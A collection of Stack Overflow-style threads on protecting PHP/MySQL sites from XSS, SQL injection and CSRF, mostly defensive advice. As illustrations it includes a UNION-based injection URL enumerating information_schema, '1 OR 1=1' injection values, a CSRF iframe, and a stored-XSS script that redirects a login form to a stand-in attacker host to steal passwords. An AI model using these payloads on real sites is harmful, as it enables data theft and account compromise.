Form stores data in mysql database - XSS vulnerability - php

I have a form with one textarea field. The field is set to accept anything and stores the input in the database when submitted. The code is then made public as a url ex: domain.com/asd. I'm not doing any type of strip_tags, htmlentities or any type of xss prevention.
My Question is, what harm can this possibly cause. Can a user do any type of xss to fetch information from the database during either input or output.

XSS does not make any attacks possible against your server which would not be possible without XSS. What XSS does is to enable an unauthorized user to act as an authorized user. If you don't have user authentication on your site, XSS is usually not a threat.

You might be in serious threat of stored xss attacks, Stored cross site scripting :
A Stored Cross Site Scripting vulnerability occurs when the malicious user can store some attack which will be called at a later time upon some other unknowing user. The attack is actually stored in some method to be later executed.
So, if the malicious code is in the text area and you store it. At a later point of time when you display the data stored in the db, its like you are executing the code right. Apart from this, there are a lot other ways to play with your database whenever you use the data from the textarea in your SQL query.

When you accept input from the user you should at least:
for database use PDO to prevent SQL-injections.
use filter to prevent XSS
Otherwise your code is going to be unsafe as hell.
I would recommend you to read OWASP to know more about a lot of vulnerabilities. Especially the page OWASP top 10 is a must read.

Related

Sql injection vulnerability

I'm not some kind of hax0r or so, but my boss has a website and I told him that it was vulnerable to sql injection attacks. He then responded that it was not a danger, because all the information is public; so I told him that there is the possibility to drop the tables.
Usually the DROP table command works, can someone tell me why not in this case?
NOTE: THIS DATABASE ONLY STORES NEWS, NOT VITAL INFO!
news.php?id=-99%20union%20all%20select%201,2,3,4,5%20from%20information_schema.columns%20where%20table_schema=0x656e6469616d615--
Please, do not reply with hax0r-hate comments, if I wanted to know how to hack I would be on irc channels, not here.
EDIT:
If he's safe from database editing I think he's right.
He could disclose the sql query but that would defeat the purpose of showing him the danger is real.
If you are able to detect columns names from SQL injections, it means it is violatable.
It also means you could easily brute force attack a webpage and detect all the structure, users, export the data, etc... So yeah, site IS vulnerable and it goes much farther than "My data is public so i don't care"...
The hacker could find a way to insert data into the database, create some phishing, steal data from XSS attacks that he inserts into the database. There are tons of reasons to take this seriously. SQL injection doesn't mean that the hacker can only read your data, it can lead to serious compromises...
I'd count any disclosure of information as dangerous - if this doesn't get fixed now, what happens in the future when/if more sensitive information is placed onto that database? What if existing data is modified in a malicious fashion?
SQL Injection is very easy to protect against, and if you know of a possible vulnerability it should be fixed ASAP, regardless of what is deemed sensitive. Just my 2c.
SQL injection isn't a problem if the SQL user only has access to the SELECT privilege. Any other privileges could probably be a security threat (Particullarly DROP, but also INSERT or DELETE).
Personally, I would just protect it all against SQL injection, and then apply privilleges to the SQL user that restrict the ability to perform an attack even if my front line of defences is broken.
Even if the data is not sensitive, SQL injection could lead to phishing attacks, scams, and illegal content being displayed on the vulnerable website. Not good.

PHP/JS: how to clean user input/output

For example, let's say I have a website that receives and displays user comments (text). I am concerned with vulnerabilities from receiving user submissions and also when the submissions are displayed.
Concerns:
Cross-site scripting attack
SQL injection
My question is are there more attacks that could come from user text inputs? Also, in what ways can I guard against such attacks using PHP, Javascript?
Thanks, and merry Xmas!
JavaScript is not a barrier from XSS, CSRF attacks, so you should care about server side protection. If you talk about functions then these will help you from XSS: htmlentities(), strip_tags(), utf8_decode(); and as Zar said mysql_real_escape_string will help you from SQL injection.
There are a lot of articles devoted to SQL injections, XSS, CSRF, sessions hijacking. Go to http://phpsec.org/projects/guide/ and read it all.
You can use strip_tags($var) to guard yourself against XSS.
mysql_real_escape_string($var) will give you basic SQL injection protection.
Have a look at php Filter Library, which made to clean and validate different types of data, from boolean to email addresses, functions like filter_input and filter_input_array could make your application more secure and smart.
If you are using ajax to send some form data to the server as part of url, encode them like this
encodeURIComponent(yourFormInputData);
and remember to decode them on the server side.

Is user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS

I'm a PHP developer and I'm looking to improve the security of my sites.
From what I understand the following are two major types of vulnerabilities which affect web applications:
SQL Injection
XSS
SQL Injection can be fixed with prepared statements - easy.
But I still don't really get XSS - is the following an example of XSS?...
Page full of user-made content has a login form at the top (site-wide).
The user's input to the page is not HTML-escaped.
A user posts the following content (e.g. a comment) to the page...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
An innocent user comes to the page, the script executes.
The innocent user realises they're not logged in, and enter their details into the form.
The user's details are sent off to http://somehackysite.com/givemyourpw.php and then the user's account details are stolen.
So I really have three questions here:
Would this work?
Is this XSS?
Are there any precautions developers should take against XSS other than escaping HTML?
There are two types are XSS attacks: Reflected XSS and Persistent XSS attacks. What you've described, where a user of the site inputs data that gets saved on the server side, and is rendered for anyone viewing a page, is considered Persistent XSS. Similar attacks would be if you have a comment box on a post that doesn't escape Javascript, or a profile page I can put anything into.
The other class of XSS attacks is Reflected XSS. These are a little more complicated, but they amount to one of the arguments in the URL for a page not being escaped. They frequently come up in things like Search pages on large websites. You'll get a URL that includes some javascript in it (sorry, my example got mangled by the renderer here, so I can't show you an example) , and the page will render the javascript which would allow someone to craft a malicious URL. These are especially dangerous on sites that hand any sort of financial data; imagine a conscientious user who always checks to make sure the they're going to the write link to their bank, but because of a Reflected XSS attack an attacker is able to send them to a legitimate page on their bank's website, but that has malicious code in it.
In any case, your example is Persistent XSS. You can do even more nefarious things with attacks like that than just changing where a login form sends users. They've been popular for years to do things like scraping information from personal areas of sites, or coupled with CSRF to cause an authenticated user to do something by simply looking at a page. There were a few MySpace viruses a while back that did that, and spread from profile to profile.
Is this XSS?
Yes, this is an injection flaw in general and would be referred to as a XSS exploit in this particular case as it’s JavaScript that was injected.
But this injection flaw, where one user’s input gets reflected to other users without any changes, can also yield to other attacks like defacement.
Would this work?
Yes, it’s very likely that this would work as it’s the origin server that serves this code snipped just like any other code in the web page. So it’s like the author of the web site is the originator of this code and will be treated likewise.
Are there any precautions developers should take against XSS other than escaping HTML?
There are actually three different types of XSS: DOM based XSS, Reflected XSS, and Stored/persistent XSS). Your example is a stored/persistend XSS exploit as the server deploys the exploit with every request.
The general rule is not to trust any user input. That said either only valid user input should be allowed or the user input is filtered (removing invalid values) or properly encoded (convert invalid values) before outputting it. See OWASP’s XSS Cheat Sheet for further information.
it's xss and i believe it's javascript injection too
so i think this link will help
Yes that is an example of a basic persistent XSS attack. Not only could a user steal credentials in this situation but also attempt to infect visitors, or spam links through your site.
OWASP XSS Prevention Guide is a good start.
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

Efficiently sanitize user entered text

I have a html form that accepts user entered text of size about 1000, and is submitted to a php page where it will be stored in mysql database. I use PDO with prepared statements to prevent sql injection. But to sanitize the text entered by user, what are the best efforts needed to do ?
I want to prevent any script injection, xss attacks, etc.
Security is an interesting concept and attracts a lot of people to it. Unfortunately it's a complex subject and even the professionals get it wrong. I've found security holes in Google (CSRF), Facebook (more CSRF), several major online retailers (mainly SQL injection / XSS), as well as thousands of smaller sites both corporate and personal.
These are my recommendations:
1) Use parameterised queries
Parameterised queries force the values passed to the query to be treated as separate data, so that the input values cannot be parsed as SQL code by the DBMS. A lot of people will recommend that you escape your strings using mysql_real_escape_string(), but contrary to popular belief it is not a catch-all solution to SQL injection. Take this query for example:
SELECT * FROM users WHERE userID = $_GET['userid']
If $_GET['userid'] is set to 1 OR 1=1, there are no special characters and it will not be filtered. This results in all rows being returned. Or, even worse, what if it's set to 1 OR is_admin = 1?
Parameterised queries prevent this kind of injection from occuring.
2) Validate your inputs
Parameterised queries are great, but sometimes unexpected values might cause problems with your code. Make sure that you're validating that they're within range and that they won't allow the current user to alter something they shouldn't be able to.
For example, you might have a password change form that sends a POST request to a script that changes their password. If you place their user ID as a hidden variable in the form, they could change it. Sending id=123 instead of id=321 might mean they change someone else's password. Make sure that EVERYTHING is validated correctly, in terms of type, range and access.
3) Use htmlspecialchars to escape displayed user-input
Let's say your user enters their "about me" as something like this:
</div><script>document.alert('hello!');</script><div>
The problem with this is that your output will contain markup that the user entered. Trying to filter this yourself with blacklists is just a bad idea. Use htmlspecialchars to filter out the strings so that HTML tags are converted to HTML entities.
4) Don't use $_REQUEST
Cross-site request forgery (CSRF) attacks work by getting the user to click a link or visit a URL that represents a script that perfoms an action on a site for which they are logged in. The $_REQUEST variable is a combination of $_GET, $_POST and $_COOKIE, which means that you can't tell the difference between a variable that was sent in a POST request (i.e. through an input tag in your form) or a variable that was set in your URL as part of a GET (e.g. page.php?id=1).
Let's say the user wants to send a private message to someone. They might send a POST request to sendmessage.php, with to, subject and message as parameters. Now let's imagine someone sends a GET request instead:
sendmessage.php?to=someone&subject=SPAM&message=VIAGRA!
If you're using $_POST, you won't see any of those parameters, as they are set in $_GET instead. Your code won't see the $_POST['to'] or any of the other variables, so it won't send the message. However, if you're using $_REQUEST, the $_GET and $_POST get stuck together, so an attacker can set those parameters as part of the URL. When the user visits that URL, they inadvertantly send the message. The really worrysome part is that the user doesn't have to do anything. If the attacker creates a malicious page, it could contain an iframe that points to the URL. Example:
<iframe src="http://yoursite.com/sendmessage.php?to=someone&subject=SPAM&message=VIAGRA!">
</iframe>
This results in the user sending messages to people without ever realising they did anything. For this reason, you should avoid $_REQUEST and use $_POST and $_GET instead.
5) Treat everything you're given as suspicious (or even malicious)
You have no idea what the user is sending you. It could be legitimate. It could be an attack. Never trust anything a user has sent you. Convert to correct types, validate the inputs, use whitelists to filter where necessary (avoid blacklists). This includes anything sent via $_GET, $_POST, $_COOKIE and $_FILES.
If you follow these guidelines, you're at a reasonable standing in terms of security.
You need to distinguish between two types of attacks: SQL injection and XSS. SQL injection can be avoided by using prepared statements or the quote functions of your DB library. You use the quoting function this before inserting into the database.
XSS can be avoided by quoting all special chars with htmlspecialchars. It is considered good style to escape the output after you read it from the database and store the original input in the database. This way, when you use the input in other contexts where HTML escaping is not needed (text email, JSON encoded string) you still have the original input form the user.
Also see this answer to a similar question.
There are two simple things you need to do to be safe:
Use prepared statements or escape the data correctly.
When outputting to HTML, always escape using htmlspecialchars( ).

best way to filter data from user(xss and sql injection)

I read a lot about filtering data which my web site get from user to make web site secure in sql injenction and xss . . .
but I saw a lot function in php so I can't make decide what to do . . .
please help me make it more secure
You're asking a couple questions here, so I'll try to break it down:
SQL Injection
Problem
This can occur when you pass user input directly to the database, something like this:
$query = "SELECT * FROM Table WHERE field = " . $_POST['field'];
$result = mysql_query($query);
The user can put whatever they want into the 'field' field on the form, and the database will execute it. This means a user could enter a malicious string which prematurely terminates your intended query and then runs a query of their own.
Solution
Don't directly construct your queries with user input. Instead, you should look into using prepared statements (This is typically handled with the PDO library). Prepared statements can take several forms, but they all involve using placeholders in the actual query string to tell the database where to stick other data you'll pass in later. That way the database can handle any appropriate escaping itself. The code would look a bit like this:
$statement = $db->prepare("SELECT * FROM Table WHERE field = :field");
$statement->bindValue(":field", $_GET['field']);
$statement->execute();
In this case, :field indicates the placeholder for the value later supplied by bindValue. PDO will take care of the escaping as needed.
That said, you should still sanitize any user data as needed.
XSS
Problem
Cross-Site Scripting, or XSS, occurs when unsanitized user input is passed directly back to the browser. If the user entered JavaScript commands, these commands could be executed in another users browser, possibly allowing the original hacker to gain access to that users credentials.
Solution
Rather than going into a lot of detail here, I'll simply say that this can be avoided by setting the HttpOnly flag on any cookies you set, so that they cannot be accessed in JavaScript (malicious or otherwise), and by never, ever echoing back unsanitized inputs to a user.
Sanitizing User Inputs
PHP has some nice features built in for sanitizing many forms of user input. I'll simply recommend that you check out the filter_var function and the various filters it can apply.
Never just echo user input back to the user. You should do your best to validate your inputs and reject anything that doesn't conform, but for inputs you need to display back to the user, always use something like htmlentities(). For a heavier but much more thorough option, you can take a look at the HTML Purifier library.
Hope that gets you started in the right direction.
Most SQL injections can be prevented with mysql_real_escape_string(), assuming you're running MySQL. Other database systems also have similar functions.
Protecting your site from XSS attacks is more complicated. The simplest way to prevent javascript code injection is stripping away all HTML tags with strip_tags(), but that will prevent using harmless tags like <b> as well, though they can be whitelisted if needed.
The only generic advice I can give you is to learn:
Prepared statements to avoid SQL injections
A custom markup languages like StackOverflow is using to avoid XSS attacks

Categories